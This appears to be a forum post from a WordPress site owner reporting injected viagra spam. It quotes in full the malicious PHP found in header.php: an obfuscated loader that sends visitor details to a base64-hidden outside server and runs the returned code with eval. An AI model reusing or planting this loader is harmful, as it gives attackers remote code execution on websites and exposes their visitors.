Im on latest WordPress as always.
It was all good till date, since 2 years.
Just today I saw that, few random pages are showing viagra ads in the top of the page .
That replaced page title, meta data, and then few 20-30 lines with viagra links, etc.
On searching, I found this on the header.php :
<?php
@eval(str_replace(array("\'","\\\\"), array("'","\\"), @file_get_contents(str_replace("{lai}",@urlencode($_SERVER["HTTP_HOST"].$_SERVER["REQUEST_URI"]),str_replace("{ua}",@urlencode($_SERVER['HTTP_USER_AGENT']),str_replace("{ip}",@urlencode($_SERVER['REMOTE_ADDR']),str_replace("{hr}",@urlencode($_SERVER['HTTP_REFERER']),@base64_decode("aHR0cDovLzk1LjE2OC4xNzguMjA3L3p4Y3Zibm0vc3J2MTcyNi9zdGF0dXNTZXJ2ZXJTaWRlLnBocD9saW5rQXNJcz17bGFpfSZ1YT17dWF9JmlwPXtpcH0maHI9e2hyfSZ2ZXI9Mg=="))))))));
?>